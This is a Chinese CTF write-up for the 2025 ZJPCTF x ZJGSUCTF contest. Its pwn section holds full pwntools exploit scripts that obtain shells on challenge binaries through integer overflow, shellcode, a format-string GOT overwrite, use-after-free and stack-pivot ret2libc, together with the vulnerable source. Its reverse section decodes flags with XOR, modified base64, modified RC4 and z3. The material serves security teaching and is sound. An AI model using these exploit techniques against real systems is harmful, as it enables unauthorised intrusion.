Pwn math_game 预计解出人数:10+
实际解出人数:20
welcome函数是输出一堆字符串,按回车进入math1
 
伪随机数生成两个数,要求输入两个数乘积
 
有5秒的时间,超时则无效
 
此题考查的是常规的pwntools函数使用,这里用eval快速计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *from  struct import  packfrom  ctypes import  * filename='./math'  debug = 1 if  debug:     io = process(filename)else : 	io = remote('' ,)def  s (a ) : io.send(a)def  sa (a, b ) : io.sendafter(a, b)def  sl (a ) : io.sendline(a)def  sla (a, b ) : io.sendlineafter(a, b)def  r () : return  io.recv()def  pr () : print (io.recv())def  ru (a ) : return  io.recvuntil(a)def  inter () : io.interactive()  def  get_addr (): 	return  u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) 	 ru("challenge." ) s('\n' ) s=io.recvuntil(" = " , drop=True ) s1=eval (s) sl(str (s1).encode()) inter()
 
not_checkin 预计解出人数:6
实际解出人数:15
根据题目描述和下面的main,很明显需要整数溢出绕过负号
 
根据32位有符号整数范围,很容易想到需要输入2147483651
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from  pwn import  * filename='./not_checkin'  elf = ELF(filename) context(arch = elf.arch,os = 'linux' ) debug = 0 if  debug: 	io = process(filename)else :     io = remote('124.221.156.93' ,32818 ) io.sendline(str (2147483651 )) io.interactive()
 
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  void  init (int  argc, const  char  **argv, const  char  **envp)  {     setbuf(stdin ,0 );     setbuf(stdout ,0 );     setbuf(stderr ,0 ); }int  main (int  argc, const  char  **argv, const  char  **envp)  {     char  s[60 ];     int  v5;     init(argc, argv, envp);     puts ("Welcome to 2025 ZJPCTF X ZJGSUCTF, this is a pwn checkin game." );     printf ("Please input a number to getshell: " );     if  (fgets(s, 50 , stdin )) {         if  (s[0 ] == '-' ) {             puts ("Detected negative sign." );             return  0 ;         } else  {             v5 = atoi(s);             if  (v5 == -2147483645 ) {                 system("/bin/sh" );             } else  {                 puts ("You are wrong." );             }             return  0 ;         }     } else  {         puts ("Invalid input." );         return  0 ;     } }
 
strange_shellcode 预计解出人数:3
实际解出人数:1
 
strange的点在于把rsp和rbp置零,也就是说直接用系统生成的shellcode没用
 
因为题目中已经把rcx和rdx置零了,考虑直接用ret2syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from  pwn import  *from  struct import  packfrom  ctypes import  * filename='./strange_shellcode'  elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if  debug: 	io = process(filename)else :     io = remote('node.vnteam.cn' ,45311 )def  s (a ) : io.send(a)def  sa (a, b ) : io.sendafter(a, b)def  sl (a ) : io.sendline(a)def  sla (a, b ) : io.sendlineafter(a, b)def  r () : return  io.recv()def  pr () : print (io.recv())def  ru (a ) : return  io.recvuntil(a)def  inter () : io.interactive()def  debug ():     gdb.attach(io)def  b (addr ):              bk='b *'  + str (addr)         attach(io,bk)  def  get_addr (): 	 	return  u32(io.recv()[0 :4 ]) shellcode=asm(''' mov al,59 add rdi,8 syscall ''' )+b'/bin/sh\x00'  s(shellcode) inter()
 
当然也可以考虑恢复栈后写一个read的shellcode,然后再利用系统生成的shellcode
把 rsp 移到后面可读写的位置当 stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 shellcode=asm(''' mov rsp,rdi add rsp,0x50 mov rsi,rsp mov rdx,rdi xor rdi,rdi syscall call rsi ''' ) s(shellcode)print (len (shellcode)) shellcode=asm(shellcraft.sh()) s(shellcode) inter()
 
源码使用内联汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include  <stdio.h>  #include  <stdlib.h>  #include  <sys/mman.h>  #include  <unistd.h>  void  init ()  {     setbuf(stdin , NULL );     setbuf(stdout , NULL );     setbuf(stderr , NULL ); } __attribute__((naked)) void  exploit (void  *buf)  {     __asm__(         "endbr64;\n"          "push %rbp;\n"          "mov %rsp, %rbp;\n"          "mov %rdi, -0x30(%rbp);\n"           "mov -0x30(%rbp), %rdi;\n"          "xor %rbp, %rbp;\n"          "xor %rsp, %rsp;\n"          "xor %rsi, %rsi;\n"          "xor %rax, %rax;\n"          "xor %rcx, %rcx;\n"          "xor %rdx, %rdx;\n"          "jmp *%rdi;\n"      ); }int  main (int  argc, const  char  **argv, const  char  **envp)  {     void  *buf;     init();     puts ("Hello ZJPCTF X ZJGSUCTF ctfers!" );     puts ("Legend says there was a bug hidden in a mysterious memory page." );     puts ("ZJPCTF ctfers tried every trick, but it was the ZJGSUCTF ctfers who whispered:" );     puts ("\"Try jumping to it... literally.\" Can you uncover their secret?" );     buf = mmap((void  *)0x202505000 , 0x1000 ,                PROT_READ | PROT_WRITE | PROT_EXEC,                MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );     if  (buf == MAP_FAILED) {         perror("mmap" );         exit (1 );     }     read(0 , buf, 0x14 );     mprotect(buf, 0x1000 , PROT_READ | PROT_WRITE | PROT_EXEC);     exploit(buf);     return  0 ; }
 
预计解出人数:1
实际解出人数:0
什么保护都没开(实际上是操作失误但是不想改了,看看能不能有非预期)
 
 
key是全局变量,需要用magic里面的格式化字符串漏洞去修改
 
后续有一个栈溢出,刚好覆盖到返回地址,可以考虑修改返回地址重新利用格式化字符串修改printf为system,再读入一次/bin/sh即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from  pwn import  *from  struct import  packfrom  ctypes import  * filename='./format_master'  elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if  debug: 	io = process(filename)else :     io = remote('124.221.156.93' ,32817 )def  s (a ) : io.send(a)def  sa (a, b ) : io.sendafter(a, b)def  sl (a ) : io.sendline(a)def  sla (a, b ) : io.sendlineafter(a, b)def  r () : return  io.recv()def  pr () : print (io.recv())def  ru (a ) : return  io.recvuntil(a)def  inter () : io.interactive()def  debug ():     gdb.attach(io)def  b (addr ):              bk='b *'  + str (addr)         attach(io,bk)def  get_addr (): 	return  u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) 	 key=0x600d2c  leave_ret=0x400774  ret=0x400549  main_addr = elf.sym["main" ] puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] start_addr = elf.sym["_start" ] payload1=fmtstr_payload(6 ,{key:22 }) sla("Tell me what's your name?" ,payload1) payload2=b'a' *0x38 +p64(start_addr) sa('Tell me more about you.' ,payload2) payload3=fmtstr_payload(6 ,{elf.got['printf' ]:elf.sym['system' ]}) sa("Tell me what's your name?" ,payload3) payload4=b'a' *0x38 +p64(start_addr) sa('more about you' ,payload4) payload5='/bin/sh\x00'  sa("Tell me what's your name?" ,payload5) inter()
 
也可以考虑栈迁移,但是可能会更麻烦一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int  key; void init() {     setbuf(stdin, NULL);     setbuf(stdout, NULL);     setbuf(stderr, NULL); }int  fake_flag(){     echo system("echo flag" ); }int  magic() {     char buf[256 ];     puts("Welcome to 2025 ZJPCTF X ZJGSUCTF." );     puts("Tell me what's your name?" );     read(0 , buf, 0x100 );     printf("Hello," );     return  printf(buf); }int  main(int  argc, const char **argv, const char **envp) {     char buf[48 ];     init();     magic();     if  (key == 22 ) {         puts("Tell me more about you." );         read(0 , buf, 0x40 );     } else  {         puts("You are not allow in." );         puts("Please try again later." );     }     return  0 ; }
 
ezheap 预计解出人数:2
实际解出人数:0
经典增删改查
 
delete存在UAF漏洞
 
一次create经过两次malloc,分别是struct和content
 
show的时候是函数指针加content,将ptr[i][1]处原先的print_content函数改成system,ptr[v1]改写成bin/sh的地址,这样在执行show的时候就会执行system(’/bin/sh’)
 
由于fastbin是FILO,先写/bin/sh再写system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from  pwn import  * filename='ezheap'  elf=ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if  debug: 	p = process(filename)else :     p = remote('124.221.156.93' ,32820 )def  add (size,content ): 	p.recvuntil("Your choice: " ) 	p.sendline("1" ) 	p.recvuntil("Please input size: " ) 	p.sendline(str (size)) 	p.recvuntil("Please input content: " ) 	p.send(content)def  delete (index ): 	p.recvuntil("Your choice: " ) 	p.sendline("2" ) 	p.recvuntil("Please input list index: " ) 	p.sendline(str (index))def  show (index ): 	p.recvuntil("Your choice: " ) 	p.sendline("3" ) 	p.recvuntil("Please input list index: " ) 	p.sendline(str (index)) bin_sh=0x602010  system=elf.plt['system' ] add(0x80 ,"aaaa" ) add(0x80 ,"bbbb" ) delete(0 ) delete(1 ) add(0x10 ,p64(bin_sh) + p64(system)) show(0 ) p.interactive()	
 
ezstack 预计解出人数:1
实际解出人数:1
 
常规栈迁移
 
刚好能溢出到返回地址
 
本质是栈迁移+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  pwn import  *from  struct import  packimport  randomimport  time filename='./ezstack'  elf = ELF(filename) libc = ELF("./libc.so.6" ) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if  debug: 	io = process(filename)else : 	io = remote('124.221.156.93' ,32835 )def  s (a ) : io.send(a)def  sa (a, b ) : io.sendafter(a, b)def  sl (a ) : io.sendline(a)def  sla (a, b ) : io.sendlineafter(a, b)def  r () : return  io.recv()def  pr () : print (io.recv())def  ru (a ) : return  io.recvuntil(a)def  inter () : io.interactive()def  debug ():     gdb.attach(io)def  get_addr (): 	return  u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) 	def  get_sb () :  	return  base + libc.sym['system' ], base + next (libc.search(b'/bin/sh\x00' )) bss=elf.bss()+0x500  ret=0x400519  leave_ret=0x4006c6  pop_rdi=0x400763  puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] read=0x4006ab  pop_rbp = 0x4005c0  payload = b'a'  * 0x30  + p64(bss + 0x30 ) + p64(read) sa(b"This is a stack migration challenge.Have a good time." , payload) payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300  + 0x30 ) + p64(read) payload2 += p64(bss - 8 ) + p64(leave_ret) s(payload2) base = get_addr() - libc.sym['puts' ]print (hex (base)) system, bin_sh = get_sb() payload3 = (p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret) + p64(system)).ljust(0x30 , b'\x00' ) payload3+=p64(bss + 0x300  - 8 ) + p64(leave_ret) s(payload3) inter()
 
Re 逆向的本质 预期解出人数:20+
实际解出人数:58
故事里的“反向绽放”,“从右至左”,“相反轨迹”都在提示将字符串倒置
 
直接python倒置字符串或者手动翻转也行
1 2 3 s='}detacitsihpos_3b_ot_tub_llik_dn@_thg1f_ot_ton_s1_esrever_f0_ecn3sse_ehT{galf' print (s[::-1 ]) flag{The_ess3nce_0f_reverse_1s_not_to_f1ght_@nd_kill_but_to_b3_sophisticated}
 
Unpack 预期解出人数:10+
实际解出人数:32
识别为upx壳,但无法直接upx -d
 
010editor 打开程序,把里面的ubx都改为UPX
 
 
用upx进行脱壳
 
得到加密逻辑
 
写脚本进行破解
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 flag{Upx_1s_n0t_d1fficult}#include  <stdlib.h>    #include  <string.h>    #include  <iostream>    #include  <time.h>    #include  <Windows.h>    using  namespace  std;unsigned  char  ida_chars[] = {0x6D , 0x68 , 0x64 , 0x69 , 0x70 , 0x51 , 0x75 , 0x76 , 0x54 , 0x35 ,0x76 , 0x51 , 0x65 , 0x34 , 0x71 , 0x51 , 0x6F , 0x35 , 0x63 , 0x68 ,0x62 , 0x67 , 0x70 , 0x62 , 0x7F , 0x79 , 0x00 , 0x00 , 0x0B , 0x04 ,0x05 , 0x0E  };int  main ()   {     for (short  i = 0 ; i < 26 ;i++){         printf ("%c" , (int )((unsigned  char )ida_chars[i] ^ ida_chars[i % 4  + 28 ]));     }     return  0 ; }
 
非预期
 
HarRE 预期解出人数:10+
实际解出人数:2
拿到hap文件,得知是鸿蒙app安装包,改后缀为zip后解压
 
在ets文件夹下面找到abc文件,然后使用abc-decompiler 进行反编译,entry/src/main/ets/pages下找到主逻辑
 
可以看到customBase64Encode把inputText进行了编码,然后在变量中找到码表
 
然后就能解出flag
 
1 flag{Oh_y0u_knOw_the_Harmony1!!}
 
string大法直接非预期
 
 
LoginSystem 预期解出人数:0
实际解出人数:3
两个算法很明显,也没有用混淆和jni,so层魔改的话会更加难以识别
 
魔改的base64算法加密username,具体魔改点为把加密后的数据中间两位调换
 
 
学弟用ai写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def  decode_custom_base64 (s ):          BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"      table = {char: idx for  idx, char in  enumerate (BASE64_TABLE)}     bytes_list = []     s = s.rstrip('=' )           for  i in  range (0 , len (s), 4 ):         chunk = s[i:i + 4 ].ljust(4 , '=' )          c1, c2, c3, c4 = chunk                  v1 = table.get(c1, 0 )         v2 = table.get(c2, 0 )         v3 = table.get(c3, 0 )         v4 = table.get(c4, 0 )                  byte1 = (v1 << 2 ) | ((v3 >> 4 ) & 0x03 )         byte2 = ((v3 & 0x0F ) << 4 ) | ((v2 >> 2 ) & 0x0F )         byte3 = ((v2 & 0x03 ) << 6 ) | v4                  if  c2 == '=' :              bytes_list.append(byte1)         elif  c4 == '=' :              bytes_list.append(byte1)             bytes_list.append(byte2)         else :              bytes_list.append(byte1)             bytes_list.append(byte2)             bytes_list.append(byte3)     return  bytes (bytes_list) encoded_str = "aFj5YITya42wdRzuZIHwM5Wk"  decoded_bytes = decode_custom_base64(encoded_str)print (f"Decoded: {decoded_bytes} " ) 
 
rc4魔改部分为把原来的异或操作改为加操作
 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def  rc4 (data, key ):     S = list (range (256 ))     j = 0      out = []     for  i in  range (256 ):         j = (j + S[i] + key[i % len (key)]) % 256          S[i], S[j] = S[j], S[i]     i = j = 0      for  char in  data:         i = (i + 1 ) % 256          j = (j + S[i]) % 256          S[i], S[j] = S[j], S[i]         char -= S[(S[i] + S[j])%256 ]         out.append(char% 256 )     return  bytes (out) a=[14 , 50 , -82 , 75 , -125 , 55 , -112 , 85 , 99 , -56 , 97 , -82 , 69 , 61 , -2 , -113 , -99 , 48 ]for  i in  range (len (a)):     if  a[i]<0 :         a[i]+=256  data = bytes (a) key = b'j1ya22kn0w4ndr01nd'  decrypted = rc4(data, key)print (decrypted)
 
 
flag{j1ya22kn0w4ndr01nd_andro1nd14d1ffcult}
IosRE 预期解出人数:3
实际解出人数:1
被学弟找到之前写的文章秒了
https://j1ya-22.github.io/2025/04/11/ios%E9%80%86%E5%90%91%E6%95%B4%E7%90%86/ 
ipa文件,首先解压
 
UnDebuggable即我们要逆向的文件
 
在buttonClick函数中找到比对处
 
可以看到,比对逻辑是把我们的输入内容(theTextField)和theLabel.text的内容进行相同检测
所以下一步就是对theLabel进行交叉引用,看看哪些部分对label进行了改动
 
可以看到viewDidLoad里面同样引用了theLabel,我们进去看看
 
这里对unk_10000F541字节逐位和Ios进行了异或操作,所以解密就是反过来操作
 
1 flag {Reverse_f0r_I0s_1s_InteresTing} 
 
 
babyz3 明确的z3,但是下面的方程导致例如s[0]和s[2]可以互换,这样考虑的话这道题至少有8个flag
 
一直以为解是唯一的,害得师傅们卡了好久,这里给所有卡住的师傅磕一个
 
下面只是其中一个方程得到的一个flag,linux下运行后输入得到check ok的都是对的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import  libnumfrom  z3 import  *for  i in  (range (33 , 128 )):     x = Solver()     ans = []     s = [BitVec(('%d'  % i), 32 ) for  i in  range (5 )]     x.add(s[0 ] & 0xff  == i)     x.add((s[0 ] & 0xffff ) * (s[0 ] >> 16 ) == 342772773            , (s[0 ] & 0xffff ) + (s[0 ] >> 16 ) == 39526            , s[1 ] - s[2 ] == 1005712381            , (s[1 ] & 0xffff ) + (s[1 ] >> 16 ) == 56269            , (s[2 ] & 0xffff ) - (s[2 ] >> 16 ) == 15092            , ((s[1 ]) & 0xff ) * ((s[2 ]) & 0xff ) == 10710            , ((s[1 ] >> 16 ) & 0xff ) * ((s[2 ] >> 16 ) & 0xff ) == 12051            , ((s[1 ]) >> 24 ) + ((s[2 ]) >> 24 ) == 172            , (s[3 ] & 0xffff ) * (s[3 ] >> 16 ) == 171593250            , (s[3 ] & 0xffff ) + (s[3 ] >> 16 ) == 26219            , (s[4 ] & 0xffff ) * (s[4 ] >> 16 ) == 376306868            , (s[4 ] & 0xffff ) + (s[4 ] >> 16 ) == 40341 )     if  x.check() == sat:         model = x.model()         for  j in  s:             print (libnum.n2s(model[j].as_long())[::-1 ].decode(), end='' )         print ()